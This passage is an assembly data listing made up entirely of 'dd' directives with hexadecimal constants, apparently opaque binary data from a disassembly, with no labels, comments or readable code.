0BF406E2Fh, 0E88D0553h, 756A00ADh, 45D69BB5h, 8124A3DFh dd 26C030BCh, 46C3BDF3h, 750F2211h, 45F304FAh, 0C058BC84h dd 0F95B1E01h, 0B32FC100h, 0EDFE9871h, 0A15D0290h, 0A3C411E0h dd 4851BE60h, 41200890h, 65F88080h, 0AD970063h, 0F655B2A3h dd 2153A54Dh, 24440284h, 31A1FD52h, 0BC3C1051h, 86160324h dd 5C26F15Bh, 2450813Ch, 8B90607Ch, 72227680h, 0EE1EC7B7h dd 535F563Dh, 0FFF72A00h, 1E82D360h, 0C8F367ACh, 0F880E078h dd 7C2724E8h, 0C8A800A2h, 219BBB2Ah, 80FFE6EFh, 1AFEDE59h dd 2F7C990h, 187F3BCDh, 2C49306Dh, 2978D79Ah, 122C1E78h dd 0EC0F6D78h, 53DB04F8h, 207C8482h, 81A8E7EFh, 0D82130CFh dd 90AF5A39h, 8BE400EBh, 927DA982h, 5893FEFCh, 809CA215h dd 0FD512445h, 4D448C99h, 24BD003Fh, 3EBA25C5h, 7F677630h dd 49417481h, 8050B378h, 3DBAAEh, 62A65526h, 9DAFCD7Ch dd 21C0D0E8h, 153CA50Dh, 220624F9h, 64174044h, 0F70BDE8Ah dd 0AD8590Eh, 861D44A8h, 0A379600h, 740D896Dh, 0B8D2A1Eh dd 972D3B90h, 0E6C19D80h, 1DE5CE61h, 8277D772h, 0ABD2ED01h dd 3EFC65FBh, 26C0F088h, 57249F60h, 22A946FDh, 97190067h dd 0D85FD124h, 0C700DEB3h, 31C49585h, 24053D38h, 148852FAh dd 4F238021h, 200AB728h, 809D1655h, 0A7408664h, 52313DC0h dd 7675CE03h, 98D6Eh, 502A98D1h, 9536493Fh, 0A7288300h dd 2D0C6016h, 0D0BD0BA9h, 1C1D0A1Eh, 23877A11h, 26FA8305h dd 40F422E3h, 1BAF040Ah, 74B049h, 5B48DAD8h, 5F2E606h dd 29799A31h, 0F0609F7Eh, 53028C0Ch, 4DEA4BBBh, 1380195Ch dd 0CBBBF0D5h, 0D3041692h, 0F5B820F4h, 76002C19h, 0F2DA9B8Bh dd 6456DB2Fh, 670B60A0h, 0EA98BBB0h, 676CA4A5h, 21AE217Fh dd 228D73BBh, 71B900D8h, 0CC61941Dh, 0AB690001h, 535D5BADh dd 0EF0429A0h, 0FAE1B88Bh, 1387B08Ch, 2FA23B5Bh, 122368h dd 63B829F0h, 7B28AB3Bh, 9A1370F5h, 7200C35Fh, 0C2CD686Fh dd 26EC982Dh, 0BC64468Dh, 8A80D9B9h, 0A151D36h, 923FF823h dd 594602A2h, 0C4EB7AE9h, 2BD46E4h, 0C3BAF30Dh, 10153119h dd 0F30EF9h, 0DFFE866h, 1E788936h, 3439D100h, 0FCA9B33Dh dd 80E8ABB1h, 1C3F853h, 1E6AE707h, 36A29DBBh, 7472E7ECh dd 80B48870h, 904864BEh, 0B9F32260h, 91F1C314h, 0BBEB0A8h dd 816903F3h, 14C20805h, 185B6EE0h, 65CC5018h, 0A9458A59h dd 0E0E62BA0h, 0FA513EBh, 63A49C69h, 1F882A40h, 31C06BF5h dd 0CC7EA20h, 5F730441h, 0CE72DCD6h, 0C04A887Ch, 0F1EF77CAh dd 0C0445958h, 9D752538h, 0F6A8A9E2h, 6D5460h, 8B19ADECh dd 0CF114E3Dh, 95B75B1Fh, 5550DD00h, 0B24AABh, 58CAAC7h dd 0A16E7A43h, 717D2130h, 39259832h, 781D3107h, 612CA455h dd 0D457707Fh, 0B300E2A5h, 0B30B18Dh, 7B8EE6AEh, 446D5C38h dd 0FD8C4AECh, 3A108881h, 6048FFBDh, 9344E730h, 0E4B954E4h dd 10342699h, 7A467404h, 0A7A63600h, 478C62A8h, 6E30D350h dd 0A4B24Ch, 0C4DEB56Dh, 395A404Ah, 3280BD60h, 5420848Ah dd 2D02B325h, 0D5346C6Dh, 44E867E4h, 8B056064h, 0F23A004Ah dd 0A87883FFh, 44A1D5D4h, 0C03C7110h, 1E4C69E7h, 8CE2E8ECh dd 8A240B90h, 0CD9E1447h, 0E2598BC0h, 6BBE60h, 0FF9D58AFh dd 0F6C00C14h, 13D19491h, 3301B118h, 598C34F5h, 5060F047h dd 0E944A076h, 2FFC00C9h, 0CF548BB5h, 0C7016824h, 0A580EAEBh dd 60C8D0B7h, 43F4944Ah, 1DBD9F2h, 8D98A0B8h, 0CC3A0A1Fh dd 233627C0h, 3CC5B2C9h, 0C0956D88h, 7718A84Ch, 7AB71E8h dd 0C858C700h, 3892BF5Fh, 0B578008Fh, 0F79BA867h, 0B893A34Dh dd 50244601h, 8C2871FDh, 24BE3EB0h, 0D9475600h, 0ED85418Fh dd 3F5305A3h, 4B0A8A26h, 0C809684h, 77D7B935h, 0C2D46600h dd 8D37427Eh, 0F27C00EAh, 0B99B4975h, 6B48923Ah, 13E32168h dd 212421F0h, 51798058h, 4FF81FD8h, 50843A9Eh, 583CCD26h dd 0A1B043EAh, 5BF5FD00h, 0BC027169h, 0E22D13C7h, 0C8808BF2h dd 0CC46C081h, 78B87142h, 0CEA33700h, 5B1E0F2Ah, 0D4472652h dd 575D60D8h, 0CD006AB0h, 0ED5EEFABh, 67F5891Bh, 0F2C717Ch dd 0D98B4220h, 0D81CC355h, 154007D0h, 1193C27Bh, 65BD03C4h dd 897917D4h, 0E7831C0h, 0F48040B9h, 0D957419Bh, 0A08400E9h dd 73DE948Ch, 8D7F0947h, 3FF7DB01h, 0FE784DAFh, 0D6AC99B8h dd 7C4B072Bh, 4CAD5080h, 0D50939BEh, 60086C46h, 1EEF8828h dd 0D41ECB58h, 0C04CD768h, 3CC06581h, 53A0203Fh, 2EE0C300h dd 3B5A0231h, 540E004Eh, 0CE235298h, 0C600F384h, 1D3DB7C0h dd 0F0DE4BC2h, 0DF7A1FD3h, 1D125CD4h, 9EA947F5h, 0EE58D105h dd 3770802Dh, 3E60EF6Bh, 225B1489h, 1783FC20h, 4188FD56h dd 0DC0FBEF3h, 4FA13CC6h, 0AC6E8A4Fh, 79341180h, 2C912AEh dd 0F2526681h, 10446750h, 0EC408B4Ah, 0BACE0DEEh, 6BDD0F32h dd 0A200EA57h, 6DFF28BBh, 0FAA9B209h, 5874C84Dh, 541E003Eh dd 3F1B9926h, 0F8078EC6h, 0E452ACDh, 0E36B1500h, 7C8B4843h dd 6E5C2F87h, 70A7E567h, 0A261AE46h, 0FFFBFD2Eh, 4D7C9E05h dd 90E8EC83h, 61FC684Bh, 0CBD5E97Bh, 40728Ah, 0DEE43408h dd 0EADDFB51h, 437C04C1h, 0C0382A25h, 0D4766B80h, 8FA7A9C0h dd 724BF073h, 0F342045Fh, 80C0DF80h, 9EFEDE3Eh, 1A4FC400h dd 8FF123CDh, 742CE3EFh, 4B2C16C0h, 0AC03D305h, 12942DA8h dd 0C367F870h, 54863988h, 0D2373380h, 0F5105993h, 0A300F0B9h dd 0C27897C1h, 9605003Bh, 0C60D45EAh, 2AF01FF1h, 10338C01h dd 5223B895h, 5A27E980h, 36547237h, 0A3219100h, 673C2B49h dd 0E0AD0966h, 84024213h, 1C516E6Bh, 90760200h, 58DE63C3h dd 101C49F7h, 0ECBFC018h dd 0E6A9AC80h, 0DF195800h, 9A7D69C7h, 68F63021h, 106309A9h dd 0F006F907h, 97407AC4h, 2C9CA0D7h, 3F6CB74Ch, 0A8DA7615h dd 0A1FD601h, 0F0545C49h, 42C92D5h, 4026DFFAh, 13FE941Eh dd 58207848h, 5A3ED8h, 0CEC195A8h, 51A9B0DDh, 2FDC3501h dd 53DF2328h, 184076EDh, 38860CB2h, 928035A6h, 2EC41FFFh dd 0D2E2B5E6h, 0B0FAAF01h, 68452783h, 0FF32802Ah, 0E900021Dh dd 3DFEAB42h, 0E08E64Ch, 8999A59Ah, 91C05700h, 0DC12BA6Dh dd 0A8042AD4h, 8088F584h, 8D610121h, 0B066E0F8h, 6CEBD0E8h dd 54377816h, 0D8D38700h, 0F28CDF7h, 0E707C512h, 0D901AAE7h dd 0C42AE468h, 87D33100h, 4F5136ADh, 5D03008Dh, 80E8D5CAh dd 6009A77h, 4DC4DCB8h, 88572165h, 0C60218D8h, 8AC72047h dd 0B4704842h, 0DA8400EBh, 27CE3EF8h, 0F44AC873h, 464B0C40h dd 7E0938F1h, 8ACC1814h, 0CD508908h, 0AF58F005h, 0C0BA3FADh dd 0D4D8E75Dh, 0A1FB700Fh, 1125E129h, 3FC9A73Ah, 0B5002063h dd 4245B3F3h, 0DC985E9Bh, 3C5B10EFh, 82D33071h, 23907338h dd 3984E48h, 4B3D9D8Ah, 0A87C812h, 4F6709D4h, 44EE7733h dd 0C055C600h, 0AC8CF21Dh, 67E800E1h, 96D1FA9h, 93016E0Fh dd 9860AB34h, 0EC42441Eh, 7630618Dh, 0D4C4C6h, 0D547C713h dd 0C28C1C2Dh, 7FB0F600h, 3968A0EAh, 0FBF10BBDh, 646469D1h dd 0C820BA02h, 0E00D5427h, 3D32D9BBh, 1D004288h, 1C37B1BDh dd 0E18C338h, 0DEE86DC4h, 1E6C9h, 0AEC5FE71h, 68868B17h dd 8000C65Ch, 38413F51h, 5B3D2FA8h, 8CB467C3h, 0FC009BE0h dd 22F0E3C9h, 0E517BBBh, 8AA668BCh, 14245807h, 47CCC8F5h dd 263C9C3Ah, 0C6003451h, 0EF25D4FAh, 4A8B9E4h, 0CDBC982Eh dd 5A03E4A0h, 7C052C0Eh, 60A080C0h, 263715E8h, 8568ACh dd 9BBD44DCh, 9105CD1Bh, 0EEFEB514h, 0F12C2807h, 2517E782h dd 163CB420h, 0BFC54D1Eh, 81D8F8C0h, 17A1E658h, 887888ABh dd 0C506BB18h, 1F19F5C6h, 8CC752D8h, 2C5BF80Bh, 0B4593C85h dd 44498BF8h, 80773B68h, 0FB863461h, 18111219h, 0F82310D1h dd 5C0266C5h, 0E639CE1Fh, 3685276h, 6D281E9Eh, 96D8742Bh dd 0D1001249h, 0A1F11479h, 1D8E13C6h, 85664417h, 0CD96D963h dd 5C22EC74h, 18E0A670h, 0DD79C700h, 50B52FA0h, 4E61C331h dd 0DBE1E25Dh, 0C8231Bh, 7759D7FAh, 50B9BEFFh, 760C23h dd 0F22C7942h, 0FEDCC188h, 35B6F40Bh, 0C938011Fh, 0E910B19Dh dd 0E4027AAAh, 6908125Ch, 28EA6173h, 489C8070h, 3F216CBDh dd 12FC6180h, 6BAEA3h, 0B9EFBC5Fh, 0E787E15Ah, 25C0A800h dd 0CD2AD313h, 1BA7222h, 0C4DF1FA4h, 0C1479B56h, 0F64993EFh dd 62E61020h, 66E0399h, 0B93A92B6h, 861AB038h, 76C36A02h dd 89D8B558h, 904C9888h, 58B0A000h, 1015BD63h, 0B27409F2h dd 0A81B6EC5h, 0B568A6D0h, 11F38001h, 401EF0C9h, 5A5E8E0h dd 3ED9293Fh, 70A399h, 0F60A8FE3h, 0E081E42h, 13552AA4h dd 87ECA9C1h, 8689ECC5h, 0E1D5F03h, 17CEBEFh, 24D4DE39h dd 40784BBDh, 2D0B270h, 802A8138h, 0D4A5648Bh, 13051A19h dd 0E25725Ah, 0CB0555F0h, 0D5F080CCh, 0A0073999h, 0ECFD955Dh dd 0E42C23B1h, 0BDF03E4h, 0E53C27FEh, 448A84B0h, 0F82988A9h dd 0EF1257B3h, 0EA005551h, 39927919h, 18050977h, 0D4084B61h dd 9D380458h, 715080BAh, 0ED002F48h, 9C61C4C3h, 0CBFDDE54h dd 3C0182D0h, 1771F580h, 61CD0740h, 0FE290FC1h, 91641C9Ch dd 289CCCAAh, 0A9BCB014h, 299C00C2h, 0C4C9F7BDh, 34C5072Ch dd 257BE73Ch, 9CB225h, 94906B6Dh, 11DB0F9h, 0CA44DA2h dd 48F4AB2Ah, 0EB00C0E4h, 3BAFBFE7h, 0BB2999h, 77BB335h dd 2B3E4716h, 0E0B850F6h, 46061B04h, 0A8407E8Ah, 0DB123070h dd 1507E400h, 5FC98F19h, 0FC762AA1h, 0BFCF07D4h, 0B70EEE45h dd 705473Dh, 0FA4D7030h, 9160F94h, 3C2022D1h, 0F73EE16h dd 0E717D9D7h, 0BD19578Ch, 2F546D1Ch, 0FE68C142h, 0DB762385h dd 0EDAF6900h, 3C1E04FBh, 0A629001Bh, 0ADC73BA7h, 0ACE851BAh dd 0C6DCBD00h, 0F7748B80h, 0C325135Bh, 50C03097h, 300711BAh dd 126B38F2h, 1D8D710h, 55B0180h, 444C7BC6h, 0C3475A8h dd 0C70041DCh, 0FAE63B0Ch, 75BA2611h, 9C80A4A9h, 16834078h dd 620047E8h, 4A1F2CD6h, 0C0AE7330h, 60EF9F50h, 6B00F703h dd 0ED059C10h, 3DB9C55Bh, 0B065FCAAh, 74F29Ah, 0FEEDA644h dd 0E6DCD208h, 26CD0404h, 0B4CE5001h, 0C43C11D8h, 5C321F95h dd 713D3705h, 34555CC0h, 0F0EF13A8h, 59FC2211h, 0FF699520h dd 7A8207B0h, 0D737F52Ah, 1BFE302Ch, 7413B88Ch, 8430BAEFh dd 3DD8B9h, 0B3106461h, 3CE5AD7Ah, 6D0A791Eh, 926F3A40h dd 4C042FB7h, 0D4115024h, 3C584Ch, 12801734h, 1FDE901h dd 5B1A43E4h, 30D34B9Dh, 0D64EA98Eh, 90BB1830h, 0A096486Eh dd 35B2C600h, 54778E17h, 317740B8h, 7AA47550h, 211DF0DEh dd 0D09AA933h, 79ED90D5h, 0A75F0CCEh, 0B2207471h, 78488D32h dd 6F58C09Ch, 68B8406Dh, 8A68C259h, 0ED80282Bh, 9BC0EE7Dh dd 0D87386h, 0D9DD19CEh, 4A586C83h, 0C08714Eh, 65F88281h dd 0E481E064h, 11512084h, 802F5DC3h, 6A091E5Eh, 0D5331B00h dd 8443D973h, 0C13F3CECh, 6B1A6500h, 0F6203D81h, 0A1005891h dd 0BF9F4B3h, 27FE5AA8h, 53455870h, 0E800E8A2h, 0E0AFF1E5h dd 12002459h, 9DCF22A2h, 1BAF574h, 0C072DA07h, 0F160FE06h dd 3646027h, 25CD261Fh, 0D286AE82h, 6A00C1C4h, 0AB5CF117h dd 0BC3AE82Fh, 0DF11EA05h, 60D1A2C9h, 0CE44D43Ch, 0CC00401Fh dd 8247490Dh, 30853A2Ch, 0FF4DDA81h, 0D41A11CBh, 4200C0CEh dd 35EB586Eh, 0A423C12Dh, 9D3ECB8h, 2017F973h, 0C270F03h dd 0BF1D1CF8h, 0C89AED09h, 0C00C0077h, 24DCBCFAh, 838F2D4h dd 0F68C84FCh, 39AB962h, 0E6A60C86h, 17FB28D9h, 3ADE6698h dd 0EFA5EE00h, 0AEFD2EABh, 25071FEDh, 9239B0F5h, 6302BDCAh dd 74BFA287h, 9D5DC0A6h, 0AE370524h, 0C7580B30h, 800634D8h dd 0B16AD6E4h, 0CFE77300h, 0FC4F640Ch, 0BC0F0CC0h, 3289831h dd 62EFE00h, 0EDA83D10h, 1E87F071h, 0B41480h, 34BC399Eh dd 104FAC97h, 0DEE08C27h, 0AA58AFh, 0DFFAA8EEh, 9D6DD0BBh dd 85FD471Ah, 77D466F1h, 0CB6B008Dh, 3F8AE563h, 650F6E40h dd 0C0A4C4E2h, 94419D1Dh, 34B2006Dh, 81ABE94Bh, 49C7D976h dd 0EF444EE8h, 9D5FF6C0h, 7D900044h, 3BB5720Eh, 45001D8Eh dd 11A2EDEBh, 13038633h, 8872DB7h, 39807F30h, 0A934EC98h dd 41F64E21h, 1A9F4C88h, 9D03E096h, 1D78D800h, 3CB1F1EDh dd 0D16501A0h, 9654DECCh, 0CDF94450h, 0DA0FE03Ch, 353AD024h dd 1460F117h, 17F65B2Fh, 3CF8904h, 0C5689C6Ch, 77B82113h dd 9FDF2C90h, 51FA1DF1h, 2ABA00BBh, 0FE45849h, 0D3FF0E00h dd 0F70224F2h, 14980665h, 0B97E6050h, 614088B4h, 10FCEB4h dd 577A48BAh, 0C2345A46h, 63527F60h, 794BC231h, 9F10E076h dd 4909B04Ah, 0E4A8D32Dh, 9A5F8A0h, 7DCE4F51h, 10469849h dd 181F5E7h, 0CC39414Bh, 0E8F28C0Ch, 549E4CF7h, 0A003924h dd 6E205381h, 34244CECh, 1999B07h, 8892FEC4h, 0B701DC30h dd 5BEFEA33h, 0C2C4CB91h, 0DDCC02D8h, 56933894h, 0D995DC61h dd 4DC5D0E3h, 4C51AF13h, 1ED164C8h, 40F49E52h, 311690AEh dd 68003036h, 0FD4221D2h, 3BE2F3Ch, 8DD811A4h, 88959720h dd 8600955Ch, 2FBB9F49h dd 507C88Fh, 0FA92AB3Fh, 0D0D48603h, 0BD8B3800h, 0C8A9B34Ah dd 3A1101C4h, 9A7C0DA8h, 8E20891Bh, 72CC18EEh, 0DB4C0E2Fh dd 817DCA24h, 0E16E8DDEh, 16EC70CDh, 2300DDE0h, 0E5521165h dd 2533101Eh, 4C100D78h, 0E930454Ah, 2E69E443h, 4F460081h dd 10FA18F4h, 582829D0h, 871D8C7Eh, 9805C5BAh, 8585DA84h dd 0E900D0E2h, 70954475h, 0E00745Bh, 7F1BB657h, 1273FEBEh dd 46C13E6h, 8CCF5858h, 470EE308h, 0A380FBA1h, 8CD4DFh dd 993790F0h, 0AAF1C6DEh, 0CB657998h, 7C407F7Ah, 82AD11CEh dd 0C78D00D7h, 0A02EE578h, 9972D46Bh, 5430224Eh, 0A0CDD3FEh dd 2C8466A0h, 401879A2h, 96119146h, 0AAF4E8C0h, 9C23B362h dd 0C7B99E04h, 6ACF80h, 0A9EB2FC8h, 7D162774h, 70606362h dd 19BC5238h, 0A1693250h, 74402F8Ah, 30B10AA2h, 0D72E00DAh dd 2301F065h, 7A4421EBh, 3BD80755h, 0F9FEF34Dh, 2836F410h dd 4012E201h, 0FC27CE0Dh, 0BD833C68h, 7AE8FB11h, 76C14764h dd 0F53D313Ah, 5B006469h, 0BBADD31Dh, 7C00D0C2h, 0C0F5FDBh dd 9691F2FBh, 0ED3DE030h, 0ECB989D0h, 9140709Fh, 1BA81F07h dd 0C355165Bh, 6CB0108Fh, 56509809h, 0B214B0DAh, 9CECFBA9h dd 1B011500h, 4DCC11Ah, 57AD2AC3h, 3160B49Dh, 1CF44000h dd 69CEF7B6h, 74591FE1h, 45A3C014h, 3BB4C5D3h, 0C226A000h dd 0A2442A5Ch, 0F1CB921h, 0C840EA02h, 0CCFA951Ah, 54C46000h dd 81524CA1h, 942939AEh, 8B22451Ch, 0FC8172EDh, 70F43D25h dd 9807D8CCh, 97C41181h, 0EB081580h, 63FB7B52h, 4167B90Ch dd 0C0A0C4B4h, 0F5B37CFh, 0FB84919Dh, 0D3DCCh, 3CBD0859h dd 911E377Ch, 7504D273h, 2F9954B5h, 98955880h, 0A4FF5D68h dd 4F4A8480h, 0F8902337h, 0DE0438F0h, 216A96C7h, 3F98C8h dd 67477DF0h, 91127F15h, 195203Dh, 3A1F25FFh, 10302675h dd 0EC1695FBh, 0CB8F3901h, 6D28DC79h, 0D0004423h, 7E14D144h dd 0DF39500Ah, 313F8410h, 34F47856h, 0DDCA07DCh, 0A7FC8F84h dd 5CE419EBh, 3075511Dh, 0C6523BC0h, 24545E3Dh, 0D49862h dd 0D56273Ah, 47254EC3h, 585C10FEh, 81D14B19h, 80FD764Ch dd 0CABE4B19h, 76CF2768h, 2B4200AAh, 3B6E2382h, 0EF001C29h dd 450BFB5Ah, 12C4DE65h, 0A4214638h, 4D002958h, 3999B5D0h dd 7A07616h, 0FEE0DE83h, 0F0DD70ACh, 6C902DC8h, 0D35DF200h dd 340E57BCh, 42070B58h, 78E89D5Bh, 7F06062Ch, 7B835C6Ch dd 68BE016Ah, 0F020157Dh, 0C954709Ah, 281228B0h, 7020D747h dd 7F1F63Fh, 0A45701C2h, 80C624C3h, 38683E18h, 0C500EC91h dd 0EFDBC85Fh, 269D016Bh, 3E2CFD73h, 22DFD4DDh, 0E59D3C96h dd 0D66814h, 7F18D997h, 12449C89h, 926C594Fh, 386CC4C8h dd 0B777104h, 0E0B9E8EFh, 21E0213Fh, 0A6C842B0h, 8604AE00h dd 0F20216EEh, 128B38ACh, 4659398Bh, 10C65000h, 2102DEC0h dd 1ED0E76Dh, 66CD845h, 0FC473BE6h, 0CE12F1B2h, 5C0F569Eh dd 84058A31h, 0F1693840h, 0B2011297h, 88602023h, 3E003278h dd 47B72057h, 0EA6D33h, 0ACCE9A5Ah, 8D0A0EC6h, 5C002C91h dd 0AFDB16F4h, 8E4138BAh, 0D4B83D87h, 0F8C6249Ah, 80BC5C20h dd 0ED8CDE23h, 9AB40985h, 4C64AC48h, 10A9C501h, 0C0BD6A4Fh dd 0EA4194ECh, 0EFC70158h, 0D09D338Dh, 0A226D856h, 0D65CAB02h dd 0C024B182h, 265D905Bh, 1BFCA08h, 0E086EE2Ah, 0A4209CD1h dd 8AC01C0Fh, 3000F871h, 2ED5A19Dh, 8E390037h, 7E82D4A4h dd 10038B1Ah, 38349CC4h, 39190083h, 7CDFE48Ch, 0E000550Dh dd 21A59C7h, 16DB3Dh, 751FDE1Bh, 58314901h, 2C883B00h dd 0A3FD3F89h, 7E0E0CC0h, 0B389AA3Dh, 9B9E8500h, 2F102D74h dd 8BC00C8h, 0F8A77053h, 981E7E4Ch, 15585B41h, 1872D430h dd 40DB61A8h, 5E037A29h, 3A778DCCh, 0EAA10081h, 0A9EC25AAh dd 7216E19Ch, 67004EB8h, 7998927Dh, 73650078h, 7648C3DBh dd 0A7600523h, 7E53B138h, 2DA03B01h, 86C83F80h, 7530C61Eh dd 76320D00h, 67065474h, 0C36C00FAh, 415BCD05h, 7003525Dh dd 7CF6D1F3h, 19C2C897h, 0DFBC00B4h, 68AD02CBh, 5A14F3A6h dd 0C0B06C30h, 0DFE71BDCh, 1AA308D8h, 5E808538h, 0ED76B49Ah dd 57810F21h, 13E0E448h, 0CCFDD82Fh, 97C83319h, 0BAD4C111h dd 80522A5Bh, 0A8EA2490h, 0ECF84004h, 9C03299Fh, 5289A651h dd 1FE00076h, 5B8C9025h, 0D000F115h, 0B5977048h, 0A03ACBDEh dd 0FE683850h, 6BD1003Eh, 1D7ACCD7h, 4A188912h, 3D7CFEB7h dd 0E8E4ABA6h, 0F39476h, 98205B5Fh, 0D1103A51h, 29467A05h dd 500354B4h, 0C3C0D64Dh, 0B8CEDB4Eh, 9244997h, 0E18601E7h dd 0F12B5010h, 0ED0133F0h, 0DED8F912h, 99809A39h, 4F2B5537h dd 4B0B8C85h, 0E8B74B6h, 9F21F812h, 0E2782E67h, 2B500C19h dd 0BA3A0179h, 0DFCF81ABh, 215916C0h, 74EE360h, 65E3262Fh dd 88DD4098h, 0D43AED7Bh, 9351E039h, 1F730206h, 0D25BDF62h dd 539C4094h, 4696210Eh, 84F310C1h, 56F04DD5h, 0E82E7C48h dd 0ABA6186Ch, 5AA8499Dh, 0EC41CCA8h, 0E54E3803h, 0D887437Fh dd 3EE6276h, 4D0114D2h, 0D8D91852h, 403AF115h, 0A63C3D7Ch dd 2A8EF550h, 8F815E38h, 20868976h, 0EC75CCC4h, 5C3A50FBh dd 0CFC23C38h, 9969C00h, 0C62478F2h, 33D81501h, 62A8E6BAh dd 0C7A424h, 2B787B27h, 0CA52018Ah, 97028E07h, 5B877057h dd 8654EE40h, 0F2D0A624h, 411567A8h, 99879039h, 800A60Bh dd 0A9F8AF02h, 7FC601Dh, 5BD8B370h, 0AB3D4221h, 1A2BB521h dd 0EA0A22D4h, 0A9580073h, 19E7E917h, 0A6182D2Ch, 79C98F95h dd 0FB510F13h, 7EE1C332h, 0E62A84BBh, 0A0141040h, 57E4C206h dd 55AAAD07h, 8820F848h, 0F8A1CE16h, 0D3B7BD60h, 3B001137h dd 0E70ACB80h, 14DD735h, 0A1C4B3F5h, 12AD3FD0h, 8BE96028h dd 0ABB61576h, 8900DC5Eh, 21BB5C25h, 610C961Bh, 38A049E6h dd 356888ACh, 0E13A06F2h, 67EC8377h, 258671h, 0A17DA489h dd 2AB1A30h, 19C7A900h, 61972DC0h, 50E89070h, 60E2E8D9h dd 0F3A731D2h, 0C51D25B8h, 660034D1h, 2A6E05CCh, 51F2E2h dd 4CB9ED56h, 8549F3A5h, 80A917FEh, 7F22044h, 36102700h dd 82F9F667h, 211860CEh, 5625142Dh, 0E7421700h, 0B4E55520h dd 8A814428h, 0F3507DB8h, 0F20EE628h, 0E20A12h, 10D1D8FCh dd 40A67EDFh, 1A0C82B0h, 312FCC6Ch, 76110080h, 0DD6DBEF0h dd 0B602872Bh, 20838E6Eh, 0C0EF61E7h, 30A54C0h, 788D8412h dd 0F9E63FD1h, 770097F8h, 0AC493309h, 54335B6h, 8B2D5DF1h dd 9C80FEF0h, 3074ADCFh, 14818939h, 407A81EBh, 1A166112h dd 313B5030h, 25C30098h, 0AB67BF1Fh, 9A0B8CF4h, 833EAD50h dd 7E30CC5Fh, 0D5B8B9h, 3B65E9FCh, 0E6CE9F01h, 6A270C00h dd 0CFADC174h, 580EB836h, 0DE811C07h, 9E8639CEh, 8EC06A89h dd 4F513BBDh, 1E7B69h, 0EB98FC32h, 0E081A134h, 540EF0A4h dd 80C2533Fh, 74088552h, 0B7E300F3h, 2D781543h, 0C5484923h dd 79C44297h, 81800E58h, 0DEA316C2h, 3A51A830h, 3E02692Ah dd 0C431B86Eh, 0F41F8046h, 9580C155h, 25EFD2CEh, 0B3A5001Bh dd 0A604AB22h, 323D57E0h, 31D16206h, 6D34418Bh, 14435C60h dd 407E2A5Bh, 0D57613h, 191D319Ch, 0CF1B05CBh, 0EB2116F3h dd 2764B06Fh, 6B770E85h, 0E4A063A6h, 0F85DC1F3h, 3AD6300Ah dd 908080AFh, 0CB416F1Dh, 25BE3C86h, 44340B83h, 51007DF3h dd 0B3DBC993h, 24B5D681h dd 16FC3B16h, 5B1C03FCh, 29002C28h, 0BBB066AAh, 98741A6Ah dd 0AC4F02C4h, 7330A28Ah, 6DBFECC0h, 910C9AFAh, 3931CF86h dd 61C100D7h, 8F1D5CA0h, 9B00E13Ah, 0C4E37B5Dh, 192663h dd 7F953B30h, 397552B9h, 39828040h, 0DB8FD334h, 0E1C0FF8Bh dd 4F701683h, 0A337AA01h, 1AC2612Ch, 227C4D4h, 8C98BBF4h dd 8C43979h, 3AB75B00h, 0B01A04B6h, 40740007h, 88A76CDCh dd 131D5318h, 80FF6186h, 5139546Bh, 0C08FB257h, 2F871D10h dd 5500AF2Dh, 59AD6630h, 0A0649D15h, 1379D4D0h, 20DC8670h dd 0D8A174D8h, 20EFA0A1h, 7A88A9B4h, 26CF00E0h, 7F15AE1h dd 6898496Ah, 2A2D344h, 8F723DA6h, 40C005CAh, 0C1C08DA3h dd 98DF7531h, 2A7103B7h, 0D0D986F0h, 14E3902h, 40DCE970h dd 80D4A658h, 33002A6Ch, 0E2541F7Dh, 1D5B3ECh, 0E8867BC2h dd 0F0C3CE83h, 0BE2C5243h, 49607C77h, 5C6EB3h, 0A6EAFD9Fh dd 6F3F38B6h, 2C0F4290h, 80E2D0D4h, 0F6DFB4B5h, 84BA0F98h dd 0C2E19771h, 30A5331Dh, 3888238Ch, 9424000Bh, 20F4FE42h dd 0EC00D291h, 6A9E3073h, 3CAF054h, 0BC6178B9h, 7BC71D5Bh dd 8496E083h, 63A89112h, 17F6AC40h, 77DD0373h, 25812C83h dd 4061E490h, 2EC7D67Bh, 11C03C1h, 0E8458336h, 0A809F6FBh dd 12F3534Ah, 14386048h, 0BF2401AAh, 99C0E9ADh, 5DA3207Ah dd 6C9A8112h, 0D91E8400h, 4F02B2Fh, 3DCA3120h, 0E28C838Ah dd 19C4C0A4h, 0B612EB05h, 58203AAFh, 2EB491ECh, 0D3406BC0h dd 0F4442CFAh, 9BBE0205h, 0C1C0A879h, 0E22F770Eh, 20FA4893h dd 6D00AE22h, 0F18A61DAh, 29D66Ah, 0A8131C91h, 757E2374h dd 5132CC30h, 0E8BA4DABh, 0F9D004Ah, 7FE421E7h, 7E00B3BFh dd 0AE01A515h, 0F720C6Ch, 277C2D8h, 0CC989509h, 580112CAh dd 5442F00Eh, 5DC8244Ah, 0D6DB0088h, 37DA7EE5h, 39307B4Eh dd 684CF192h, 132D0083h, 29FB4703h, 0CF007EF5h, 2E0FC9B1h dd 12F4E358h, 203DBFA1h, 73B9388h, 4CFA0D01h, 0E769042Bh dd 29E6CC60h, 0FC0923h, 0A75DC925h, 121E4EFFh, 44665B74h dd 3C33CC40h, 0D14607BCh, 77AC1FC0h, 3461DC3Dh, 0ADE54Ch dd 0DF7442AEh, 0D25B29h, 2DD96EA2h, 0D84D6A88h, 0F4718702h dd 64CCF761h, 0C0F6ACh, 1753EB20h, 50ECE18Eh, 1077BB25h dd 65EAC7Ch, 3D8AFF6Bh, 4F0371AFh, 7ED55C97h, 0C031E208h dd 30FB70FCh, 54A0E72Ah, 0F84866DAh, 8F22ECh, 14FD262Fh dd 0B71A8583h, 7CCAC812h, 8BA7E408h, 7819FFDEh, 0D800FF58h dd 87DA62C6h, 9F8294Bh, 656C85F0h, 9FB97898h, 1CD7B60Bh dd 5B4E8380h, 3A92D091h, 0B5B70E60h, 0E709DE88h, 0F4D2B881h dd 200421AAh, 0A6287568h, 44A074ABh, 0D02C8A14h, 0D83A50C2h dd 12400BA0h, 87088439h, 0E48B3C40h, 0C5002762h, 9DD56145h dd 0F737ABF0h, 3A30860h, 968C9A35h, 81B90748h, 24D472E1h dd 7A80607Eh, 0B857BCCh, 285C0001h, 778DE354h, 81149DC5h dd 0F8DE33h, 2F6CA31Eh, 671AAC4h, 974DD51Ah, 370F9840h dd 75CC30AFh, 72E801E4h, 0B91E805Dh, 342CC2D5h, 456DB581h dd 7EDA40A2h, 40C1AEF8h, 0CD91EB3Ah, 0A87BF608h, 7318F7EAh dd 0B6A0AA84h, 5E013866h, 3EE1D4E1h, 0A7C980A1h, 499D70AFh dd 